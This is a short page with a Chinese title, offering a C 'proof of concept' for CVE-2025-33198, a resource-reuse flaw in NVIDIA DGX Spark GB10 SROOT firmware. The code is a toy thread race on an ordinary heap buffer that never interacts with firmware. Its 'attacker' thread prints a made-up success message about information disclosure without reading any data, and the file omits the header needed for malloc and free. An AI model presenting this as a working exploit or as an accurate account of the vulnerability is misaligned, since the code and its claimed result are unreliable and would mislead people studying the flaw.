CVE-2025-33198 NVIDIA DGX Spark GB10 SROOT固件资源重用漏洞

// CVE-2025-33198 PoC - Resource Reuse in NVIDIA DGX Spark GB10 SROOT Firmware // Note: This is a conceptual PoC for educational purposes only #include <stdio.h> #include <pthread.h> #include <unistd.h> // Simulated SROOT firmware resource handle void* secure_resource = NULL; void* attacker_thread(void* arg) { // Wait for resource allocation sleep(1); // Attempt to access resource after release (TOCTOU) printf("[Attacker] Attempting to access released secure resource\n"); if (secure_resource != NULL) { // Read sensitive data from reused resource printf("[Attacker] Successfully accessed resource - Information Disclosure\n"); } return NULL; } void* legitimate_thread(void* arg) { // Allocate secure resource secure_resource = malloc(1024); printf("[Legitimate] Allocated secure resource at %p\n", secure_resource); // Simulate secure operations sleep(2); // Release resource (vulnerability trigger point) free(secure_resource); printf("[Legitimate] Released secure resource\n"); // Race condition window: resource not null yet sleep(1); // Reallocate without proper reinitialization secure_resource = malloc(1024); printf("[Legitimate] Reallocated resource without full reinit\n"); return NULL; } int main() { pthread_t t1, t2; printf("CVE-2025-33198 PoC - NVIDIA DGX Spark GB10 SROOT Resource Reuse\n"); printf("Target: NVIDIA DGX Spark GB10 with vulnerable SROOT firmware\n\n"); // Create race condition pthread_create(&t1, NULL, legitimate_thread, NULL); pthread_create(&t2, NULL, attacker_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("\n[!] This PoC demonstrates the race condition principle.\n"); printf("[!] Actual exploitation requires physical/local access to DGX Spark.\n"); return 0; }